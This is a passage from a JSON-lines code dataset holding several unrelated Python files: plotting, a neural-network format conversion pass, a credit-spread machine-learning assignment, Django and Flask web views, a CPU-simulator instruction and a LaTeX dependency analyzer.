sys.argv[1]\nprefix = sys.argv[2]\ntime_horizon = int(sys.argv[3])\nn_trials = int(sys.argv[4])\n\nvalues = [list() for x in range(time_horizon)]\nfor i in range(n_trials):\n f = open(prefix + str(i))\n j = 0 \n while j < time_horizon:\n j += 1\n line = f.readline()\n values[int(line.split()[0])].append(float(line.split()[1]))\n f.close()\n\navg = []\nstd = []\nfor arr in values:\n avg.append(np.mean(arr))\n std.append(np.std(arr))\n\nx = range(time_horizon)\nss = np.array(avg)\nstd = np.array(std)\nplt.plot(x, ss - std, \"b--\", x, ss, \"b\", ss + std, \"b--\")\nplt.title(\"Regret of TS Doubler, 6 arms, 48 trials\")\nax = plt.gca()\n#plt.legend(['_', 'Doubler with SS', '_'], bbox_to_anchor=(1.4, 1.0), bbox_transform=ax.transAxes)\nplt.savefig(out_file, bbox_inches='tight')\n","sub_path":"thompson/tsgraph.py","file_name":"tsgraph.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94857775","text":"# Copyright (c) 2017 The Khronos Group Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import division, print_function, absolute_import\n\nfrom nnef_tools.io.nnef.nnef_graph import NNEFGraph, NNEFOperation, NNEFTensor\n\n\ndef pre_conversion_pass(g):\n # type: (NNEFGraph)->None\n _transform_extract_bias_add(g)\n g.generate_missing_names()\n g.assert_consistent()\n\n\ndef _transform_extract_bias_add(g):\n # type:(NNEFGraph)->None\n\n supported_ops = {\"conv\", \"deconv\"}\n\n for nnefop in list(g.operations):\n if nnefop.name in supported_ops and len(nnefop.inputs) >= 3:\n bias = nnefop.inputs[2]\n nnefop.inputs = tuple(nnefop.inputs)[:2]\n\n if not (bias.is_constant and bias.data == [0]):\n output_with_bias = nnefop.output\n output_without_bias = NNEFTensor(graph=g,\n name=None,\n dtype=output_with_bias.dtype,\n shape=output_with_bias.shape)\n nnefop.outputs = output_without_bias\n\n NNEFOperation(graph=g,\n name=\"_bias_add\",\n inputs=(output_without_bias, bias),\n outputs=output_with_bias)\n","sub_path":"nnef_tools/conversion/tensorflow/nnef_to_tf_passes.py","file_name":"nnef_to_tf_passes.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"87276220","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 20 10:31:13 2018\n\n@author: noviayou\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\nd1 = pd.read_stata('cds.dta')\nd2 = pd.read_csv('WRDS.csv')\nd2.columns = map(str.lower, d2.columns)\n\nd1.gvkey = d1.gvkey.astype('int')\n\nd2['mdate'] = d2['datadate'].apply(lambda x: pd.to_datetime(str(x),format = '%Y%m%d'))\n\nd1['year'] = pd.DatetimeIndex(d1['mdate']).year\nd1['month'] = pd.DatetimeIndex(d1['mdate']).month\n\nd2['year'] = pd.DatetimeIndex(d2['mdate']).year\nd2['month'] = pd.DatetimeIndex(d2['mdate']).month\n\nd2.month.unique()\n\n#d2['quarter']= d2.apply(lambda x : 1 if d2['month'] == (2,3) else )\n#\n#def type(i):\n# if d2.month[i] == 1 & d2.month[i] == 4 & d2.month[i] == 7 & d2.month[i] == 10:\n# return 1\n# if d2.month[i] == 2 & d2.month[i] == 5 & d2.month[i] == 8 & d2.month[i] == 11:\n# return 2 \n# if d2.month[i] == 3 & d2.month[i] == 6 & d2.month[i] == 9 & d2.month[i] == 12:\n# return 3\n# return 'Other'\n#\n#d2['type']= d2.apply(type,axis = 1)\n\n#\n#for i in d2.month:\n# if d2.month[i] == 1 & d2.month[i] == 4 & d2.month[i] == 7 & d2.month[i] == 10:\n# d2.type[i] = 1\n# if d2.month[i] == 2 & d2.month[i] == 5 & d2.month[i] == 8 & d2.month[i] == 11:\n# d2.type[i] = 2 \n# if d2.month[i] == 3 & d2.month[i] == 6 & d2.month[i] == 9 & d2.month[i] == 12:\n# d2.type[i] = 3\n# \n\n##np.where\n# \n#d2['type']= d2.apply(lambda x : 1 if d2['month'] == 1 else 0,axis = 1)\n#\n#\n#\n#\n#d2['type']= d2['month'].apply(lambda x : 1 if x == 4 else 0, axis = 1)\n#\n#d2['type']= d2['month'].apply(lambda x : 1 if x == 7 else x)\n#d2['type']= d2['month'].apply(lambda x : 1 if x == 10 else x)\n#\n#d2['type']= d2['month'].apply(lambda x : 2 if x == 2 else x)\n#d2['type']= d2['month'].apply(lambda x : 2 if x == 5 else x)\n#d2['type']= d2['month'].apply(lambda x : 2 if x == 8 else x)\n#d2['type']= d2['month'].apply(lambda x : 2 if x == 11 else x)\n#\n#d2['type']= d2['month'].apply(lambda x : 3 if x == 3 else x)\n#d2['type']= d2['month'].apply(lambda x : 3 if x == 6 else x)\n#d2['type']= d2['month'].apply(lambda x : 3 if x == 9 else x)\n#d2['type']= d2['month'].apply(lambda x : 3 if x == 12 else x)\n#\n\n\nType1 = d2.loc[d2['month'].isin([1,4,7,10])]\nType1 = Type1.assign(Type = 1)\nQ11 = Type1.loc[Type1['month'] == 1]\nQ11 = Q11.assign(quarter = 11)\nQ12 = Type1.loc[Type1['month'] == 4]\nQ12 = Q12.assign(quarter = 12)\nQ13 = Type1.loc[Type1['month'] == 7]\nQ13 = Q13.assign(quarter = 13)\nQ14 = Type1.loc[Type1['month'] == 10]\nQ14 = Q14.assign(quarter = 14)\nnewt1 = pd.concat([Q11,Q12,Q13,Q14])\n\n\nType2 = d2.loc[d2['month'].isin([2,5,8,11])]\nType2 = Type2.assign(Type = 2)\nQ21 = Type2.loc[Type2['month'] == 2]\nQ21 = Q21.assign(quarter = 21)\nQ22 = Type2.loc[Type2['month'] == 5]\nQ22 = Q22.assign(quarter = 22)\nQ23 = Type2.loc[Type2['month'] == 8]\nQ23 = Q23.assign(quarter = 23)\nQ24 = Type2.loc[Type2['month'] == 11]\nQ24 = Q24.assign(quarter = 24)\nnewt2 = pd.concat([Q21,Q22,Q23,Q24])\n\nType3 = d2.loc[d2['month'].isin([3,6,9,12])]\nType3 = Type3.assign(Type = 3)\nQ31 = Type3.loc[Type3['month'] == 3]\nQ31 = Q31.assign(quarter = 31)\nQ32 = Type3.loc[Type3['month'] == 6]\nQ32 = Q32.assign(quarter = 32)\nQ33 = Type3.loc[Type3['month'] == 9]\nQ33 = Q33.assign(quarter = 33)\nQ34 = Type3.loc[Type3['month'] == 12]\nQ34 = Q34.assign(quarter = 34)\nnewt3 = pd.concat([Q31,Q32,Q33,Q34])\n\nnewd2 = newt1.append(newt2,ignore_index = True)\nnewd2 = newd2.append(newt3,ignore_index = True)\n\n\nd3 = newd2[['gvkey','Type']]\n#m1 = d1.merge(newd2, on = 'gvkey')\n\nnewd1 = d1.merge(d3,on = 'gvkey',how= 'left')\nnewd1 = newd1.drop_duplicates()\n\nTyp1 = newd1.loc[newd1['Type'] == 1]\nTyp2 = newd1.loc[newd1['Type'] == 2]\nTyp3 = newd1.loc[newd1['Type'] == 3]\n\nTyp1['quarter'] = pd.PeriodIndex(Typ1['mdate'],freq='Q-DEC').strftime('1%q')\nTyp2['quarter'] = pd.PeriodIndex(Typ2['mdate'],freq='Q-JAN').strftime('2%q')\nTyp3['quarter'] = pd.PeriodIndex(Typ3['mdate'],freq='Q-FEB').strftime('3%q')\nfinald1 = pd.concat([Typ1,Typ2,Typ3])\n\nfinald1['quarter'] = finald1['quarter'].astype('str').astype('int64')\n\n#finald1['quarter']=int(finald1['quarter'])\n\nfull1 = finald1.merge(newd2,on=['gvkey','year','quarter'],how='left')\n#d1 mdate 2004-08-31 monthly\n#d2 datadate 20100228 quarterly (2,5,8,11)(1,4,7,10)(3,6,9,12)\n#d2 mdate 2010-02-28 quarterly\n\n\n\n#d1.merge(d2,left_on=['gvkey','year','quarter'],right_on=['gvkey','year','quarter'])\n#dtype\n\n#condition// choices //np.select(condition,choices)\n\n\nfull1.isnull().sum()\nfull1.describe()\nlen(full1)-full1.count()\n\n\n####assignment 5\nfull1 = full1.fillna(full1.median())\nfull1 = full1.select_dtypes(include = ['number'])\n\nfull1 = full1.dropna(axis = 'columns', how = 'all')\n\ndftest = full1[full1['year'] == 2016]\ndftrain = full1[~full1['year'].isin([2016])]\n\n#Y_column = 'spread5y'\nY_train = dftrain['spread5y']\n#X_train = dftrain.drop(Y_column,axis = 1)\nX_train = dftrain.drop('spread5y',axis = 1)\n\n\nY_test = dftest['spread5y']\nX_test = dftest.drop('spread5y',axis = 1)\n\nfrom sklearn import ensemble\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.ensemble import RandomForestRegressor\n\nregressor = RandomForestRegressor(n_estimators = 50)\nregressor.fit(X_train,Y_train)\n\npred = regressor.predict(X_test)\nerrors = abs(pred - Y_test)\nprint('Mean Absolute Error:', round(np.mean(errors), 2))\nprint('Mean Accuracy:', regressor.score(X_test,Y_test))\n\n# Calculate mean absolute percentage error (MAPE)\nmape = 100 * (errors / Y_test)\n# Calculate and display accuracy\naccuracy = 100 - np.mean(mape)\nprint('Accuracy:', round(accuracy, 2), '%.')\n\n\n\nnamesX = X_train.columns\n# Get numerical feature importances\nimportances = list(regressor.feature_importances_)\n# List of tuples with variable and importance\nfeature_importances = [(X_train, round(importance, 4)) for X_train, importance in zip(namesX, importances)]\n# Sort the feature importances by most important first\nfeature_importances = sorted(feature_importances, key = lambda x: x[1], reverse = True)\n# Print out the feature and importances \n#[print('Variable: {:20} Importance: {}'.format(*pair)) for pair in feature_importances];\n\nfeatures = pd.DataFrame(feature_importances)\n\n####\n#feature_importances1 = pd.DataFrame(regressor.feature_importances_,\n# index = X_train.columns,\n# columns = ['importances']).sort_values('importances')\n#\n\nnewfeatures = features.iloc[0:50,]\nnewfeatures = newfeatures.iloc[:,0]\n\nnewtrain_x = X_train[list(newfeatures)]\nnewtest_x = X_test[list(newfeatures)]\n\nregressor1 = RandomForestRegressor(n_estimators = 100,max_depth = 3)\nregressor1.fit(newtrain_x,Y_train)\npred1 = regressor1.predict(newtest_x)\nprint('Mean Accuracy1:', regressor1.score(newtest_x,Y_test))\nerrors1 = abs(pred1 - Y_test)\nmape1 = 100 * (errors1 / Y_test)\n# Calculate and display accuracy\naccuracy1 = 100 - np.mean(mape1)\nprint('Accuracy1:', round(accuracy1, 2), '%.')\n\nregressor2 = RandomForestRegressor(n_estimators = 200,max_depth = 3)\nregressor2.fit(newtrain_x,Y_train)\npred2 = regressor2.predict(newtest_x)\nprint('Mean Accuracy2:', regressor2.score(newtest_x,Y_test))\nerrors2 = abs(pred2 - Y_test)\nmape2 = 100 * (errors2 / Y_test)\n# Calculate and display accuracy\naccuracy2 = 100 - np.mean(mape2)\nprint('Accuracy2:', round(accuracy2, 2), '%.')\n\n\nregressor3 = RandomForestRegressor(n_estimators = 500,max_depth = 3)\nregressor3.fit(newtrain_x,Y_train)\npred3 = regressor3.predict(newtest_x)\nprint('Mean Accuracy3:', regressor3.score(newtest_x,Y_test))\nerrors3 = abs(pred3 - Y_test)\nmape3 = 100 * (errors3 / Y_test)\n# Calculate and display accuracy\naccuracy3 = 100 - np.mean(mape3)\nprint('Accuracy3:', round(accuracy3, 2), '%.')\n\nregressor4 = RandomForestRegressor(n_estimators = 1000,max_depth = 3)\nregressor4.fit(newtrain_x,Y_train)\npred4 = regressor4.predict(newtest_x)\nprint('Mean Accuracy4:', regressor4.score(newtest_x,Y_test))\nerrors4 = abs(pred4 - Y_test)\nmape4 = 100 * (errors4/ Y_test)\n# Calculate and display accuracy\naccuracy4 = 100 - np.mean(mape4)\nprint('Accuracy4:', round(accuracy4, 2), '%.')\n\n\n\nGB1 = ensemble.GradientBoostingRegressor(n_estimators = 100, max_depth = 3)\nGB1.fit(newtrain_x, Y_train)\nmse1 = mean_squared_error(Y_test, GB1.predict(newtest_x))\nprint(\"MSE1: %.4f\" % mse1)\n\nGB2 = ensemble.GradientBoostingRegressor(n_estimators = 200, max_depth = 3)\nGB2.fit(newtrain_x, Y_train)\nmse2 = mean_squared_error(Y_test, GB2.predict(newtest_x))\nprint(\"MSE2: %.4f\" % mse2)\n\nGB3 = ensemble.GradientBoostingRegressor(n_estimators = 500, max_depth = 3)\nGB3.fit(newtrain_x, Y_train)\nmse3 = mean_squared_error(Y_test, GB3.predict(newtest_x))\nprint(\"MSE3: %.4f\" % mse3)\n\nGB4 = ensemble.GradientBoostingRegressor(n_estimators = 1000, max_depth = 3)\nGB4.fit(newtrain_x, Y_train)\nmse4 = mean_squared_error(Y_test, GB4.predict(newtest_x))\nprint(\"MSE4: %.4f\" % mse4)\n\nimport xgboost\n\nxgb1 = xgboost.XGBRegressor(n_estimators=100, learning_rate=0.1, max_depth=3)\nxgb1.fit(newtrain_x, Y_train)\nxgbmse1 = mean_squared_error(Y_test, xgb1.predict(newtest_x))\nprint(\"xgbMSE1: %.4f\" % xgbmse1)\n\nxgb2 = xgboost.XGBRegressor(n_estimators=200, learning_rate=0.1, max_depth=3)\nxgb2.fit(newtrain_x, Y_train)\nxgbmse2 = mean_squared_error(Y_test, xgb2.predict(newtest_x))\nprint(\"xgbMSE2: %.4f\" % xgbmse2)\n\nxgb3 = xgboost.XGBRegressor(n_estimators=500, learning_rate=0.1, max_depth=3)\nxgb3.fit(newtrain_x, Y_train)\nxgbmse3 = mean_squared_error(Y_test, xgb3.predict(newtest_x))\nprint(\"xgbMSE3: %.4f\" % xgbmse3)\n\nxgb4 = xgboost.XGBRegressor(n_estimators=1000, learning_rate=0.1, max_depth=3)\nxgb4.fit(newtrain_x, Y_train)\nxgbmse4 = mean_squared_error(Y_test, xgb4.predict(newtest_x))\nprint(\"xgbMSE4: %.4f\" % xgbmse4)\n\n\n\n\n\n","sub_path":"assignment4 cds.py","file_name":"assignment4 cds.py","file_ext":"py","file_size_in_byte":9645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"92865734","text":"'''\nParsers for the client-related cli.\n'''\n\n# Import caster libs\nfrom caster.client.defaults import CONFIG_OPTIONS\nfrom caster.parsers.cli import BaseParser, TimeoutMixIn, DaemonMixIn\n\n\nclass ClientParser(BaseParser, TimeoutMixIn, DaemonMixIn):\n '''\n Parser for the caster-client cli.\n '''\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n # Prepare default argument for the config arg\n self.config_arg.default = '{}/client'.format(\n CONFIG_OPTIONS['client']['config_dir']\n )\n\n self.add_timeout_opt()\n\n self.add_daemon_opt()\n","sub_path":"caster/client/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"34995376","text":"from Instruccion import InstruccionDosOperandos\r\nfrom EnumRegistrosNucleo import EnumRegistrosNucleo\r\nDIR_MAXIMA_MEMORIA = 380\r\n\r\nclass InstruccionLR(InstruccionDosOperandos):\r\n \r\n def __init__(self):\r\n InstruccionDosOperandos.__init__(self)\r\n \r\n def imprimir(self):\r\n print(\"Tipo: LR\")\r\n InstruccionDosOperandos.imprimir(self)\r\n\r\n def decodificar(self, palabra):\r\n self.registroDestino = palabra.dato[1]\r\n self.registroFuente1 = palabra.dato[2]\r\n self.inmediato = palabra.dato[3]\r\n \r\n '''\r\n Un LR hace lo mismo que un LW, solo que en este caso, ya que tenemos\r\n acceso a la cache, antes de terminar la instrucción, se pone la dirección\r\n de memoria en el registro RL del nucleo.\r\n '''\r\n def ejecutar(self, nucleo):\r\n hayAccesoCache = nucleo.cacheDatos.obtenerRecurso()\r\n if (hayAccesoCache):\r\n dirMemoria = nucleo.obtenerContenidoRegistro(self.registroFuente1)\r\n dirMemoria += self.inmediato\r\n if(dirMemoria < 0 or dirMemoria > DIR_MAXIMA_MEMORIA or dirMemoria % 4 != 0):\r\n print(\"ERROR En SC se dio la direccion \" + str(dirMemoria) + \" la cual no es valida.\")\r\n nucleo.cacheDatos.liberarRecurso()\r\n return False\r\n else: \r\n palabra = nucleo.cacheDatos.leerPalabraBloque(dirMemoria, nucleo)\r\n nucleo.registros[self.registroDestino] = palabra\r\n # Se escribe la dirección en el registro RL del nucleo\r\n nucleo.guardarContenidoRegistro(EnumRegistrosNucleo.RL.value, dirMemoria)\r\n # No olvidar liberar el acceso al cache\r\n nucleo.cacheDatos.liberarRecurso()\r\n else:\r\n nucleo.decrementarPC()\r\n return True","sub_path":"src/InstruccionLR.py","file_name":"InstruccionLR.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"605579980","text":"from django.shortcuts import render, reverse\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\n\nfrom .models import Meal, DiaryDay, DiaryEntry\n\n@login_required\ndef index(request):\n return render(request, 'tracker/index.html', {'user': request.user})\n\n@login_required\ndef new_day_form(request):\n return render(request, 'tracker/new-day-form.html')\n\n@login_required\ndef new_day(request):\n training = request.POST['day-type'] == 'train'\n date = request.POST['date']\n day = DiaryDay(user=request.user, training=training, date=date)\n day.save()\n # macros_dict = day.macros()\n return render(request, 'tracker/day.html', {'day': day, 'macros': day.macros()})\n\n@login_required\ndef get_day(request, pk):\n day = DiaryDay.objects.get(pk=pk)\n totals = day.total()\n offset = day.offset()\n over_under = day.over_under()\n return render(request, 'tracker/day.html', {'day': day, 'macros': day.macros(), 'totals': totals, 'offset': offset, 'over_under': over_under})\n\n@login_required\ndef add_entry_form(request, pk):\n day = DiaryDay.objects.get(pk=pk)\n return render(request, 'tracker/add-entry-form.html', {'day': day, 'general_meals': Meal.objects.filter(general=True)})\n\n'''\nBelow I learned how to user HttpResponseRedirect() w/ reverse() so compare the commented out functions to the ones below them.\n'''\n\n# @login_required\n# def add_new_entry(request, pk):\n# day = DiaryDay.objects.get(pk=pk)\n# name = request.POST['name']\n# kcal = request.POST['kcal']\n# fat = request.POST['fat']\n# carb = request.POST['carb']\n# protein = request.POST['protein']\n# meal = Meal(name=name, kcal=kcal, fat=fat, carb=carb, protein=protein, user=request.user)\n# meal.save()\n# DiaryEntry(meal=meal, date=day).save()\n# totals = day.total()\n# offset = day.offset(day.training)\n# over_under = day.over_under(day.training)\n# return render(request, 'tracker/day.html', {'day': day, 'macros': day.macros(), 'totals': totals, 'offset': offset, 'over_under': over_under})\n\n@login_required\ndef add_new_entry(request, pk):\n\n day = DiaryDay.objects.get(pk=pk)\n name = request.POST['name']\n kcal = request.POST['kcal']\n fat = request.POST['fat']\n carb = request.POST['carb']\n protein = request.POST['protein']\n meal = Meal(name=name, kcal=kcal, fat=fat, carb=carb, protein=protein)\n meal.save()\n print('*'*100)\n print(request.POST)\n print(dir(request.POST))\n if request.POST.get('save', None):\n meal.user.add(request.user)\n\n DiaryEntry(meal=meal, date=day).save()\n return HttpResponseRedirect(reverse('tracker:get_day', kwargs={'pk': day.pk}))\n\n@login_required\ndef add_saved_entry(request, pk):\n day = DiaryDay.objects.get(pk=pk)\n meal = Meal.objects.get(pk=request.POST['meal'])\n DiaryEntry(meal=meal, date=day).save()\n return HttpResponseRedirect(reverse('tracker:get_day', kwargs={'pk': day.pk}))\n\n@login_required\ndef suggestion(request, pk):\n day = DiaryDay.objects.get(pk=pk)\n suggestions = day.suggestion()# removed day.training\n return render(request, 'tracker/suggestion.html', {'day': day, 'suggestions': suggestions})\n\n@login_required\ndef add_suggested_entry(request, pk):\n day = DiaryDay.objects.get(pk=pk)\n meal = Meal.objects.get(pk=request.POST['meal'])\n DiaryEntry(meal=meal, date=day).save()\n return HttpResponseRedirect(reverse('tracker:get_day', kwargs={'pk': day.pk}))","sub_path":"Assignments/pete/capstone/prototype4/tracker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"262427235","text":"import os\nimport flask\nfrom riotwatcher import LolWatcher, ApiError\nimport flask_sqlalchemy\nimport psycopg2\nimport datetime\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nimport enum\nfrom timer import daily, hourly\nimport time\nfrom player import Player\nimport json\n\ndotenv_path = join(dirname(__file__), \"keys.env\")\nload_dotenv(dotenv_path)\n\napp = flask.Flask(__name__)\nriot = os.environ[\"RIOT\"]\n\nlolwatcher = LolWatcher(riot)\nmy_region=\"na1\"\n\ndef dbCon():\n conn = psycopg2.connect(\n host=\"localhost\",\n database=\"leaderboard\",\n user=\"postgres\",\n password=\"password\")\n cur = conn.cursor()\n return conn, cur\n\nusers = [\"MarTea\", \"StinGod\", \"Bassel\", \"Trúst\", \"Big ItzWeird\", \"K3v1nRul3s\", \"Kareem100\", \"AminRhino\", \"Mama Zer0\", \"Xerous\", \"Vayler\", \"Glorious Duelist\", \"Godric II\", \"Shadowninjas13\", \"Kalichi\", \"Riko Best Girl\", \"Jebal\", \"Jin Vi\", \"KerØ\"]\n#users = [\"MarTea\", \"StinGod\"]\n\ndef playerCreate():\n playerList = []\n print(\"hello i am making riot games api calls\")\n for user in users:\n queueID = 0\n summoner = lolwatcher.summoner.by_name(my_region, user)\n ranked_stats = lolwatcher.league.by_summoner(my_region, summoner['id'])\n queue = ranked_stats[queueID].get(\"queueType\")\n if queue == \"RANKED_SOLO_5x5\":\n queueID = 0\n else:\n queueID = 1\n ranks = {}\n ranks[summoner.get(\"name\")] = [ranked_stats[queueID].get(\"leaguePoints\"), ranked_stats[queueID].get(\"tier\").lower().capitalize(), ranked_stats[queueID].get(\"rank\")]\n #print(ranks)\n convertedMMR = rankConversion(ranks)\n player = Player(summoner.get(\"name\"), summoner.get(\"summonerLevel\"), ranked_stats[queueID].get(\"tier\").lower().capitalize(), ranked_stats[queueID].get(\"rank\"), ranked_stats[queueID].get(\"leaguePoints\"), convertedMMR, ranked_stats[queueID].get(\"wins\"), ranked_stats[queueID].get(\"losses\"))\n #player = Player(summoner.get(\"name\"), summoner.get(\"summonerLevel\"), ranked_stats[queueID].get(\"tier\").lower().capitalize(), ranked_stats[queueID].get(\"rank\"),ranked_stats[queueID].get(\"leaguePoints\"),ranked_stats[queueID].get(\"wins\"), ranked_stats[queueID].get(\"losses\"))\n playerList.append(player)\n return playerList\n\ndef rankConversion(ranks):\n mmr = 0\n for name, rank in ranks.items():\n if rank[1] == \"Iron\":\n mmr = 0\n elif rank[1] == \"Bronze\":\n mmr = 1000\n elif rank[1] == \"Silver\":\n mmr = 2000\n elif rank[1] == \"Gold\":\n mmr = 3000\n elif rank[1] == \"Platinum\":\n mmr = 4000\n elif rank[1] == \"Diamond\":\n mmr = 5000\n elif rank[1] == \"Master\":\n mmr = 6000\n elif rank[1] == \"Grandmaster\":\n mmr = 7000\n elif rank[1] == \"Challenger\":\n mmr = 8000\n else:\n mmr = -1\n if rank[2] == \"I\":\n mmr = mmr + 400\n elif rank[2] == \"II\":\n mmr = mmr + 300\n elif rank[2] == \"III\":\n mmr = mmr + 200\n elif rank[2] == \"IV\":\n mmr = mmr + 100\n else:\n mmr = 0\n convert = 0\n convert = int(rank[0]) + mmr\n return convert\n\ndef constructDict(playerList):\n playerDict = {}\n for player in playerList:\n playerDict[player.name] = [player.level, player.tier, player.rank, player.lp, player.wins, player.losses, player.mmr]\n return playerDict\n\ndef timeTest():\n #playerList = playerCreate()\n conn, cur = dbCon()\n date = datetime.datetime.now()\n hour = int(date.strftime(\"%H\"))\n minutes = int(date.strftime(\"%M\"))\n date = date.strftime(\"%x\")\n oldDateFetch = \"SELECT date FROM timetracker ORDER BY id DESC LIMIT 1;\"\n cur.execute(oldDateFetch)\n oldDate = cur.fetchone()\n oldHourFetch = \"SELECT hour FROM timetracker ORDER BY id DESC LIMIT 1;\"\n cur.execute(oldHourFetch)\n oldHour = cur.fetchone()\n oldMinuteFetch = \"SELECT minutes FROM timetracker ORDER BY id DESC LIMIT 1;\"\n cur.execute(oldMinuteFetch)\n oldMinute = cur.fetchone()\n try:\n #needs a smaller miunte window, probably 20~. if a real api key makes things faster i can do even smaller intervals (10 is optimal), if a real api key is the same we wont as large a window as possible without losing game tracking\n if date != oldDate[0] or hour != oldHour[0] or (oldMinute[0] <= 30 and minutes > 30):\n print(\"doin the update\")\n players = playerCreate()\n playerDict = constructDict(players)\n sql = \"INSERT INTO timetracker(date, hour, minutes) VALUES (%s,%s,%s);\"\n cur.execute(sql, (date, hour, minutes))\n conn.commit()\n for key, value in playerDict.items():\n sql = \"INSERT INTO playerdata(name,level,tier,rank,lp,wins,losses, mmr) VALUES (%s,%s,%s,%s,%s,%s,%s,%s)\"\n cur.execute(sql, (key, value[0],value[1],value[2],value[3],value[4],value[5],value[6]))\n conn.commit()\n else:\n print(\"pullin the database\")\n playerList = []\n fetchPlayers = \"SELECT name,level,tier,rank,lp,wins,losses, mmr FROM playerdata ORDER BY id DESC LIMIT 19\"\n cur.execute(fetchPlayers)\n players = cur.fetchall()\n players.reverse()\n for dump in players:\n player = Player(dump[0],dump[1],dump[2],dump[3],dump[4],dump[5],dump[6], dump[7])\n playerList.append(player)\n playerDict = constructDict(playerList)\n #really need to figure out what to do with this, its suppsosed to make things work if tables are empty. \n except:\n sql = \"INSERT INTO timetracker(date, hour, minutes) VALUES (%s,%s,%s);\"\n cur.execute(sql, (date, hour, minutes))\n conn.commit()\n #TEMP TEMP TEMP TEMP TEMP BELOW TEMP TEMP TEMP TEMP\n playerDict = {}\n print(\"FUUUUUUUCK\")\n cur.close()\n conn.close()\n return playerDict\n\n@app.route(\"/\")\ndef index():\n playerDict = timeTest()\n return flask.render_template(\n \"index.html\",\n playerDict = playerDict,\n data=json.dumps(playerDict)\n )\n\napp.run(port=int(os.getenv(\"PORT\", 8080)), host=os.getenv(\"IP\", \"0.0.0.0\"))","sub_path":"leaderboard.py","file_name":"leaderboard.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486120615","text":"from django.conf import settings\nfrom django.db import models\n\nfrom accounts.querysets.relationship_queryset import RelationshipQuerySet\n\n\nclass RelationshipManager(models.Manager):\n \"\"\"\n The RelationshipManager class handles table-wide\n database queries for the Relationship class.\n \"\"\"\n\n def create_relationship(\n self,\n *,\n sender: settings.AUTH_USER_MODEL,\n receiver: settings.AUTH_USER_MODEL\n ):\n relationship = self.model(\n sender=sender,\n receiver=receiver\n )\n relationship.save()\n\n return relationship\n\n def get_queryset(self) -> RelationshipQuerySet:\n return RelationshipQuerySet(self.model, using=self._db)\n\n def find(\n self,\n *,\n sender: settings.AUTH_USER_MODEL,\n receiver: settings.AUTH_USER_MODEL\n ) -> RelationshipQuerySet:\n return self.get_queryset().find(\n sender=sender,\n receiver=receiver\n )\n\n","sub_path":"accounts/managers/relationship_manager.py","file_name":"relationship_manager.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"639731736","text":"import multiprocessing\nimport tex\nimport re\nimport logging\nfrom concurrent.futures import ThreadPoolExecutor\nfrom functools import partial\nfrom tarjan import tarjan\nfrom subprocess import TimeoutExpired\nfrom appendix import APPENDIX\nfrom util import with_progress\n\nFILE_REGEX = re.compile(r'[^\\s\\r\\n]+\\.(?:sty|tex|def|cls)')\nPRIMITIVE_REGEX = re.compile(r'[a-zA-Z]+')\nCOMPONENT_EXTS = ['.cls', '.sty']\n\n\nclass LatexDependency:\n def __init__(self, file):\n self.file = file\n try:\n self.includes = self._find_includes(file)\n except:\n self.includes = [file]\n\n def __str__(self):\n return self.file.__str__()\n\n def references(self):\n return [inc for inc in self.includes if inc != self.file and inc.suffix in COMPONENT_EXTS]\n\n def load_components(self, components_by_name):\n missing_deps = {ref: LatexDependency(ref)\n for ref in self.references() if ref.name not in components_by_name}\n missing_deps[self.file] = self\n\n graph = {dep: [missing_deps[ref] for ref in dep.references() if ref in missing_deps]\n for dep in missing_deps.values()}\n return tarjan(graph)\n\n @staticmethod\n def _find_includes(file):\n code = _build_testcode_header(file)\n code += '''\n \\\\listfiles\n \\\\begin{document}\n \\\\end{document}'''\n result = tex.compile(code, fmt=tex.Format.from_file(file))\n log = result.read_log()\n start_index = log.index('*File List*')\n file_names = re.findall(FILE_REGEX, log[start_index:])\n return [tex.FILE_RESOLVER.files_by_name[name]\n for name in file_names if name.endswith('.cls') or name != 'article.cls']\n\n\nclass LatexComponent:\n def __init__(self, component, loaded_refs):\n dependency = component[0]\n candidates = self._find_likely_primitives(dependency, loaded_refs)\n self.commands, self.environments = self.check_primitives(\n dependency.file, candidates)\n self.file_names = [dep.file.name for dep in component]\n self.references = [file.name for dep in component\n for file in dep.references()]\n\n @staticmethod\n def _find_likely_primitives(dependency, loaded_refs):\n code = dependency.file.read_text(errors='ignore')\n for include in dependency.includes:\n code += include.read_text(errors='ignore')\n\n likely_primitives = set(re.findall(PRIMITIVE_REGEX, code))\n likely_primitives.difference_update(tex.KERNEL_PRIMITIVES.commands)\n likely_primitives.difference_update(tex.KERNEL_PRIMITIVES.environments)\n likely_primitives.difference_update(\n {cmd for ref in loaded_refs for cmd in ref.commands})\n likely_primitives.difference_update(\n {env for ref in loaded_refs for env in ref.environments})\n return likely_primitives\n\n @staticmethod\n def check_primitives(file, candidates):\n code = 